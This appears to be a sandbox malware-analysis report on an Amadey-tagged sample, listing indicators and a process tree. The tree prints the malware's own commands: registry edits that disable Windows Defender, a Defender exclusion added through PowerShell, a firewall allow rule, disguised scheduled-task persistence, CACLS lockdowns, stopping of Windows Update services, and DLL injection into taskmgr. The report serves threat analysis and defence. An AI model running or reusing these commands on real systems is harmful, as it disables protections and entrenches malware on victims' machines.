amadey | 17bd26be8ff1133159cdff41d93d6dc6687388b3c81350dfaa79bbcb8cea41b4

Windows Service

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	Process not Found
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1"	Process not Found
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Process not Found
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	Process not Found
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1"	Process not Found
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	Process not Found

RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine payload 3 IoCs

resource	yara_rule
behavioral1/memory/2440-331-0x0000000000290000-0x00000000002EA000-memory.dmp	family_redline
behavioral1/memory/2612-524-0x00000000013C0000-0x00000000013DE000-memory.dmp	family_redline
behavioral1/memory/2612-542-0x0000000000E30000-0x0000000000E70000-memory.dmp	family_redline

SectopRAT
SectopRAT is a remote access trojan first seen in November 2019.
trojan rat sectoprat

SectopRAT payload 2 IoCs

resource	yara_rule
behavioral1/memory/2612-524-0x00000000013C0000-0x00000000013DE000-memory.dmp	family_sectoprat
behavioral1/memory/2612-542-0x0000000000E30000-0x0000000000E70000-memory.dmp	family_sectoprat

SmokeLoader
Modular backdoor trojan in use since 2014.
trojan backdoor smokeloader
Downloads MZ/PE file

Modifies Windows Firewall 1 TTPs 1 IoCs

evasion

Windows Service

pid	Process
2188	netsh.exe

Stops running service(s) 3 TTPs
evasion

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Executes dropped EXE 13 IoCs

pid	Process
2696	D6FE.exe
2648	kG8Vz5sR.exe
2592	E9C4.exe
2552	wI8GV1hb.exe
2396	iX4rG7xq.exe
2840	ED2E.bat
2856	hc3fE5ZP.exe
2468	1IJ35UM4.exe
1584	EFDE.exe
1344	F31A.exe
1980	F4DF.exe
2116	explothe.exe
2752	RegSvcs.exe

Loads dropped DLL 24 IoCs

pid	Process
2696	D6FE.exe
2696	D6FE.exe
2648	kG8Vz5sR.exe
2648	kG8Vz5sR.exe
2552	wI8GV1hb.exe
2552	wI8GV1hb.exe
2088	WerFault.exe
2088	WerFault.exe
2088	WerFault.exe
2396	iX4rG7xq.exe
2088	WerFault.exe
2396	iX4rG7xq.exe
2856	hc3fE5ZP.exe
2856	hc3fE5ZP.exe
2468	1IJ35UM4.exe
2204	WerFault.exe
2204	WerFault.exe
2204	WerFault.exe
2540	WerFault.exe
2540	WerFault.exe
2540	WerFault.exe
2540	WerFault.exe
2204	WerFault.exe
1980	F4DF.exe

Adds Run key to start application 2 TTPs 5 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\""	D6FE.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup1 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP001.TMP\\\""	kG8Vz5sR.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup2 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP002.TMP\\\""	wI8GV1hb.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup3 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP003.TMP\\\""	iX4rG7xq.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup4 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP004.TMP\\\""	hc3fE5ZP.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2324 set thread context of 2240	2324	17bd26be8ff1133159cdff41d93d6dc6687388b3c81350dfaa79bbcb8cea41b4.exe	29

Launches sc.exe 10 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
2784	sc.exe
1352	sc.exe
1320	sc.exe
1644	sc.exe
2460	sc.exe
684	sc.exe
1556	sc.exe
2320	sc.exe
1708	sc.exe
2224	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 6 IoCs

pid	pid_target	Process	procid_target
3052	2324	WerFault.exe	27
2088	2592	WerFault.exe	35
2204	1584	WerFault.exe	44
2540	2468	WerFault.exe	42
1784	2440	WerFault.exe	72
1380	2656	WerFault.exe	75

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	AppLaunch.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	AppLaunch.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	AppLaunch.exe

Creates scheduled task(s) 1 TTPs 4 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

pid	Process
2272	schtasks.exe
1352	schtasks.exe
1428	schtasks.exe
1680	schtasks.exe

Modifies Internet Explorer settings 1 TTPs 26 IoCs

adware spyware

Modify Registry

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2180306848-1874213455-4093218721-1000\Software\Microsoft\Internet Explorer\PageSetup	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2180306848-1874213455-4093218721-1000\Software\Microsoft\Internet Explorer\Toolbar	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2180306848-1874213455-4093218721-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{6707DB11-67F3-11EE-A279-EE0B5B730CFF} = "0"	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2180306848-1874213455-4093218721-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2180306848-1874213455-4093218721-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2180306848-1874213455-4093218721-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2180306848-1874213455-4093218721-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\LowMic	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2180306848-1874213455-4093218721-1000\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2180306848-1874213455-4093218721-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2180306848-1874213455-4093218721-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2180306848-1874213455-4093218721-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2180306848-1874213455-4093218721-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-2180306848-1874213455-4093218721-1000\Software\Microsoft\Internet Explorer\LowRegistry	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2180306848-1874213455-4093218721-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2180306848-1874213455-4093218721-1000\Software\Microsoft\Internet Explorer\Zoom	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2180306848-1874213455-4093218721-1000\Software\Microsoft\Internet Explorer\LowRegistry\DontShowMeThisDialogAgain	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2180306848-1874213455-4093218721-1000\Software\Microsoft\Internet Explorer\Main\FullScreen = "no"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2180306848-1874213455-4093218721-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "1"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2180306848-1874213455-4093218721-1000\Software\Microsoft\Internet Explorer\InternetRegistry	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2180306848-1874213455-4093218721-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2180306848-1874213455-4093218721-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2180306848-1874213455-4093218721-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2180306848-1874213455-4093218721-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-2180306848-1874213455-4093218721-1000\Software\Microsoft\Internet Explorer\GPU	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2180306848-1874213455-4093218721-1000\Software\Microsoft\Internet Explorer\IETld\LowMic	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2180306848-1874213455-4093218721-1000\Software\Microsoft\Internet Explorer\IntelliForms	iexplore.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2240	AppLaunch.exe
2240	AppLaunch.exe
1240	Process not Found
1240	Process not Found
1240	Process not Found
1240	Process not Found
1240	Process not Found
1240	Process not Found
1240	Process not Found
1240	Process not Found
1240	Process not Found
1240	Process not Found
1240	Process not Found
1240	Process not Found
1240	Process not Found
1240	Process not Found
1240	Process not Found
1240	Process not Found
1240	Process not Found
1240	Process not Found
1240	Process not Found
1240	Process not Found
1240	Process not Found
1240	Process not Found
1240	Process not Found
1240	Process not Found
1240	Process not Found
1240	Process not Found
1240	Process not Found
1240	Process not Found
1240	Process not Found
1240	Process not Found
1240	Process not Found
1240	Process not Found
1240	Process not Found
1240	Process not Found
1240	Process not Found
1240	Process not Found
1240	Process not Found
1240	Process not Found
1240	Process not Found
1240	Process not Found
1240	Process not Found
1240	Process not Found
1240	Process not Found
1240	Process not Found
1240	Process not Found
1240	Process not Found
1240	Process not Found
1240	Process not Found
1240	Process not Found
1240	Process not Found
1240	Process not Found
1240	Process not Found
1240	Process not Found
1240	Process not Found
1240	Process not Found
1240	Process not Found
1240	Process not Found
1240	Process not Found
1240	Process not Found
1240	Process not Found
1240	Process not Found
1240	Process not Found

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
2240	AppLaunch.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeShutdownPrivilege	1240	Process not Found
Token: SeShutdownPrivilege	1240	Process not Found
Token: SeShutdownPrivilege	1240	Process not Found
Token: SeShutdownPrivilege	1240	Process not Found
Token: SeDebugPrivilege	1344	Process not Found

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
3020	iexplore.exe

Suspicious use of SetWindowsHookEx 4 IoCs

pid	Process
3020	iexplore.exe
3020	iexplore.exe
672	IEXPLORE.EXE
672	IEXPLORE.EXE

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2324 wrote to memory of 2240	2324	17bd26be8ff1133159cdff41d93d6dc6687388b3c81350dfaa79bbcb8cea41b4.exe	29
PID 2324 wrote to memory of 2240	2324	17bd26be8ff1133159cdff41d93d6dc6687388b3c81350dfaa79bbcb8cea41b4.exe	29
PID 2324 wrote to memory of 2240	2324	17bd26be8ff1133159cdff41d93d6dc6687388b3c81350dfaa79bbcb8cea41b4.exe	29
PID 2324 wrote to memory of 2240	2324	17bd26be8ff1133159cdff41d93d6dc6687388b3c81350dfaa79bbcb8cea41b4.exe	29
PID 2324 wrote to memory of 2240	2324	17bd26be8ff1133159cdff41d93d6dc6687388b3c81350dfaa79bbcb8cea41b4.exe	29
PID 2324 wrote to memory of 2240	2324	17bd26be8ff1133159cdff41d93d6dc6687388b3c81350dfaa79bbcb8cea41b4.exe	29
PID 2324 wrote to memory of 2240	2324	17bd26be8ff1133159cdff41d93d6dc6687388b3c81350dfaa79bbcb8cea41b4.exe	29
PID 2324 wrote to memory of 2240	2324	17bd26be8ff1133159cdff41d93d6dc6687388b3c81350dfaa79bbcb8cea41b4.exe	29
PID 2324 wrote to memory of 2240	2324	17bd26be8ff1133159cdff41d93d6dc6687388b3c81350dfaa79bbcb8cea41b4.exe	29
PID 2324 wrote to memory of 2240	2324	17bd26be8ff1133159cdff41d93d6dc6687388b3c81350dfaa79bbcb8cea41b4.exe	29
PID 2324 wrote to memory of 3052	2324	17bd26be8ff1133159cdff41d93d6dc6687388b3c81350dfaa79bbcb8cea41b4.exe	30
PID 2324 wrote to memory of 3052	2324	17bd26be8ff1133159cdff41d93d6dc6687388b3c81350dfaa79bbcb8cea41b4.exe	30
PID 2324 wrote to memory of 3052	2324	17bd26be8ff1133159cdff41d93d6dc6687388b3c81350dfaa79bbcb8cea41b4.exe	30
PID 2324 wrote to memory of 3052	2324	17bd26be8ff1133159cdff41d93d6dc6687388b3c81350dfaa79bbcb8cea41b4.exe	30
PID 1240 wrote to memory of 2696	1240	Process not Found	32
PID 1240 wrote to memory of 2696	1240	Process not Found	32
PID 1240 wrote to memory of 2696	1240	Process not Found	32
PID 1240 wrote to memory of 2696	1240	Process not Found	32
PID 1240 wrote to memory of 2696	1240	Process not Found	32
PID 1240 wrote to memory of 2696	1240	Process not Found	32
PID 1240 wrote to memory of 2696	1240	Process not Found	32
PID 2696 wrote to memory of 2648	2696	D6FE.exe	34
PID 2696 wrote to memory of 2648	2696	D6FE.exe	34
PID 2696 wrote to memory of 2648	2696	D6FE.exe	34
PID 2696 wrote to memory of 2648	2696	D6FE.exe	34
PID 2696 wrote to memory of 2648	2696	D6FE.exe	34
PID 2696 wrote to memory of 2648	2696	D6FE.exe	34
PID 2696 wrote to memory of 2648	2696	D6FE.exe	34
PID 1240 wrote to memory of 2592	1240	Process not Found	35
PID 1240 wrote to memory of 2592	1240	Process not Found	35
PID 1240 wrote to memory of 2592	1240	Process not Found	35
PID 1240 wrote to memory of 2592	1240	Process not Found	35
PID 2648 wrote to memory of 2552	2648	kG8Vz5sR.exe	36
PID 2648 wrote to memory of 2552	2648	kG8Vz5sR.exe	36
PID 2648 wrote to memory of 2552	2648	kG8Vz5sR.exe	36
PID 2648 wrote to memory of 2552	2648	kG8Vz5sR.exe	36
PID 2648 wrote to memory of 2552	2648	kG8Vz5sR.exe	36
PID 2648 wrote to memory of 2552	2648	kG8Vz5sR.exe	36
PID 2648 wrote to memory of 2552	2648	kG8Vz5sR.exe	36
PID 2592 wrote to memory of 2088	2592	E9C4.exe	37
PID 2592 wrote to memory of 2088	2592	E9C4.exe	37
PID 2592 wrote to memory of 2088	2592	E9C4.exe	37
PID 2592 wrote to memory of 2088	2592	E9C4.exe	37
PID 2552 wrote to memory of 2396	2552	wI8GV1hb.exe	38
PID 2552 wrote to memory of 2396	2552	wI8GV1hb.exe	38
PID 2552 wrote to memory of 2396	2552	wI8GV1hb.exe	38
PID 2552 wrote to memory of 2396	2552	wI8GV1hb.exe	38
PID 2552 wrote to memory of 2396	2552	wI8GV1hb.exe	38
PID 2552 wrote to memory of 2396	2552	wI8GV1hb.exe	38
PID 2552 wrote to memory of 2396	2552	wI8GV1hb.exe	38
PID 1240 wrote to memory of 2840	1240	Process not Found	39
PID 1240 wrote to memory of 2840	1240	Process not Found	39
PID 1240 wrote to memory of 2840	1240	Process not Found	39
PID 1240 wrote to memory of 2840	1240	Process not Found	39
PID 2396 wrote to memory of 2856	2396	iX4rG7xq.exe	40
PID 2396 wrote to memory of 2856	2396	iX4rG7xq.exe	40
PID 2396 wrote to memory of 2856	2396	iX4rG7xq.exe	40
PID 2396 wrote to memory of 2856	2396	iX4rG7xq.exe	40
PID 2396 wrote to memory of 2856	2396	iX4rG7xq.exe	40
PID 2396 wrote to memory of 2856	2396	iX4rG7xq.exe	40
PID 2396 wrote to memory of 2856	2396	iX4rG7xq.exe	40
PID 2840 wrote to memory of 2776	2840	ED2E.bat	41
PID 2840 wrote to memory of 2776	2840	ED2E.bat	41
PID 2840 wrote to memory of 2776	2840	ED2E.bat	41

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\17bd26be8ff1133159cdff41d93d6dc6687388b3c81350dfaa79bbcb8cea41b4.exe
"C:\Users\Admin\AppData\Local\Temp\17bd26be8ff1133159cdff41d93d6dc6687388b3c81350dfaa79bbcb8cea41b4.exe"
1⤵
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:2324
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
  2⤵
  - DcRat
  - Checks SCSI registry key(s)
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  PID:2240
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 2324 -s 76
  2⤵
  - Program crash
  PID:3052

C:\Users\Admin\AppData\Local\Temp\D6FE.exe
C:\Users\Admin\AppData\Local\Temp\D6FE.exe
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:2696
- C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\kG8Vz5sR.exe
  C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\kG8Vz5sR.exe
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Adds Run key to start application
  - Suspicious use of WriteProcessMemory
  PID:2648
- - C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\wI8GV1hb.exe
    C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\wI8GV1hb.exe
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Adds Run key to start application
    - Suspicious use of WriteProcessMemory
    PID:2552
  - - C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\iX4rG7xq.exe
      C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\iX4rG7xq.exe
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      Adds Run key to start application
      Suspicious use of WriteProcessMemory
      PID:2396
    - - C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\hc3fE5ZP.exe
        
        C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\hc3fE5ZP.exe
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        Adds Run key to start application
        
        PID:2856
      - C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\1IJ35UM4.exe
        
        C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\1IJ35UM4.exe
        6⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:2468
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 2468 -s 280
        7⤵
        Loads dropped DLL
        Program crash
        
        PID:2540

C:\Users\Admin\AppData\Local\Temp\E9C4.exe
C:\Users\Admin\AppData\Local\Temp\E9C4.exe
1⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:2592
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 2592 -s 132
  2⤵
  - Loads dropped DLL
  - Program crash
  PID:2088

C:\Users\Admin\AppData\Local\Temp\ED2E.bat
"C:\Users\Admin\AppData\Local\Temp\ED2E.bat"
1⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:2840
- C:\Windows\system32\cmd.exe
  "C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\EE55.tmp\EE56.tmp\EE57.bat C:\Users\Admin\AppData\Local\Temp\ED2E.bat"
  2⤵
  PID:2776
- - C:\Program Files\Internet Explorer\iexplore.exe
    "C:\Program Files\Internet Explorer\iexplore.exe" https://accounts.google.com/
    3⤵
    - Modifies Internet Explorer settings
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of SetWindowsHookEx
    PID:3020
  - - C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
      "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:3020 CREDAT:275457 /prefetch:2
      4⤵
      Modifies Internet Explorer settings
      Suspicious use of SetWindowsHookEx
      PID:672

C:\Users\Admin\AppData\Local\Temp\EFDE.exe
C:\Users\Admin\AppData\Local\Temp\EFDE.exe
1⤵
- Executes dropped EXE
PID:1584
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 1584 -s 132
  2⤵
  - Loads dropped DLL
  - Program crash
  PID:2204

C:\Users\Admin\AppData\Local\Temp\F31A.exe
C:\Users\Admin\AppData\Local\Temp\F31A.exe
1⤵
- Executes dropped EXE
PID:1344

C:\Users\Admin\AppData\Local\Temp\F4DF.exe
C:\Users\Admin\AppData\Local\Temp\F4DF.exe
1⤵
- Executes dropped EXE
- Loads dropped DLL
PID:1980
- C:\Users\Admin\AppData\Local\Temp\fefffe8cea\explothe.exe
  "C:\Users\Admin\AppData\Local\Temp\fefffe8cea\explothe.exe"
  2⤵
  - Executes dropped EXE
  PID:2116
- - C:\Windows\SysWOW64\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN explothe.exe /TR "C:\Users\Admin\AppData\Local\Temp\fefffe8cea\explothe.exe" /F
    3⤵
    - DcRat
    - Creates scheduled task(s)
    PID:2272
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /k echo Y|CACLS "explothe.exe" /P "Admin:N"&&CACLS "explothe.exe" /P "Admin:R" /E&&echo Y|CACLS "..\fefffe8cea" /P "Admin:N"&&CACLS "..\fefffe8cea" /P "Admin:R" /E&&Exit
    3⤵
    PID:1128
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo Y"
      4⤵
      PID:1496
  - - C:\Windows\SysWOW64\cacls.exe
      CACLS "explothe.exe" /P "Admin:N"
      4⤵
      PID:1508
  - - C:\Windows\SysWOW64\cacls.exe
      CACLS "explothe.exe" /P "Admin:R" /E
      4⤵
      PID:1364
  - - C:\Windows\SysWOW64\cacls.exe
      CACLS "..\fefffe8cea" /P "Admin:N"
      4⤵
      PID:1868
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo Y"
      4⤵
      PID:1644
  - - C:\Windows\SysWOW64\cacls.exe
      CACLS "..\fefffe8cea" /P "Admin:R" /E
      4⤵
      PID:292
- - C:\Windows\SysWOW64\rundll32.exe
    "C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\006700e5a2ab05\clip64.dll, Main
    3⤵
    PID:2016

C:\Users\Admin\AppData\Local\Temp\1F88.exe
C:\Users\Admin\AppData\Local\Temp\1F88.exe
1⤵
PID:2752
- C:\Users\Admin\AppData\Local\Temp\toolspub2.exe
  "C:\Users\Admin\AppData\Local\Temp\toolspub2.exe"
  2⤵
  PID:2980
- - C:\Users\Admin\AppData\Local\Temp\toolspub2.exe
    "C:\Users\Admin\AppData\Local\Temp\toolspub2.exe"
    3⤵
    PID:3016
- C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe
  "C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe"
  2⤵
  PID:2984
- - C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe
    "C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe"
    3⤵
    PID:2228
  - - C:\Windows\system32\cmd.exe
      C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
      4⤵
      PID:1232
    - - C:\Windows\system32\netsh.exe
        
        netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
        5⤵
        Modifies Windows Firewall
        
        PID:2188
  - - C:\Windows\rss\csrss.exe
      C:\Windows\rss\csrss.exe
      4⤵
      PID:2124
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
        5⤵
        DcRat
        Creates scheduled task(s)
        
        PID:1428
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /delete /tn ScheduledUpdate /f
        5⤵
        
        PID:3024
    - - C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
        
        "C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"
        5⤵
        
        PID:2832
    - - C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe
        
        C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe taskmgr.exe C:\Users\Admin\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll
        5⤵
        
        PID:2624
- C:\Users\Admin\AppData\Local\Temp\source1.exe
  "C:\Users\Admin\AppData\Local\Temp\source1.exe"
  2⤵
  PID:2660
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
    3⤵
    - Executes dropped EXE
    PID:2752
- C:\Users\Admin\AppData\Local\Temp\latestX.exe
  "C:\Users\Admin\AppData\Local\Temp\latestX.exe"
  2⤵
  PID:852

C:\Windows\system32\taskeng.exe
taskeng.exe {A10D65BF-462A-472B-B0A2-C858165C6633} S-1-5-21-2180306848-1874213455-4093218721-1000:XEBBURHY\Admin:Interactive:[1]
1⤵
PID:1804
- C:\Users\Admin\AppData\Local\Temp\fefffe8cea\explothe.exe
  C:\Users\Admin\AppData\Local\Temp\fefffe8cea\explothe.exe
  2⤵
  PID:1552
- C:\Users\Admin\AppData\Local\Temp\fefffe8cea\explothe.exe
  C:\Users\Admin\AppData\Local\Temp\fefffe8cea\explothe.exe
  2⤵
  PID:2916

C:\Users\Admin\AppData\Local\Temp\4689.exe
C:\Users\Admin\AppData\Local\Temp\4689.exe
1⤵
PID:2440
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 2440 -s 524
  2⤵
  - Program crash
  PID:1784

C:\Users\Admin\AppData\Local\Temp\5691.exe
C:\Users\Admin\AppData\Local\Temp\5691.exe
1⤵
PID:2656
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 2656 -s 484
  2⤵
  - Program crash
  PID:1380

C:\Users\Admin\AppData\Local\Temp\5E40.exe
C:\Users\Admin\AppData\Local\Temp\5E40.exe
1⤵
PID:2612

C:\Windows\system32\makecab.exe
"C:\Windows\system32\makecab.exe" C:\Windows\Logs\CBS\CbsPersist_20231011050324.log C:\Windows\Logs\CBS\CbsPersist_20231011050324.cab
1⤵
PID:1708

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
1⤵
PID:1268
- C:\Windows\system32\schtasks.exe
  "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
  2⤵
  - DcRat
  - Creates scheduled task(s)
  PID:1680

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc
1⤵
PID:1760
- C:\Windows\System32\sc.exe
  sc stop UsoSvc
  2⤵
  - Launches sc.exe
  PID:1644
- C:\Windows\System32\sc.exe
  sc stop WaaSMedicSvc
  2⤵
  - Launches sc.exe
  PID:2460
- C:\Windows\System32\sc.exe
  sc stop wuauserv
  2⤵
  - Launches sc.exe
  PID:684
- C:\Windows\System32\sc.exe
  sc stop bits
  2⤵
  - Launches sc.exe
  PID:1556
- C:\Windows\System32\sc.exe
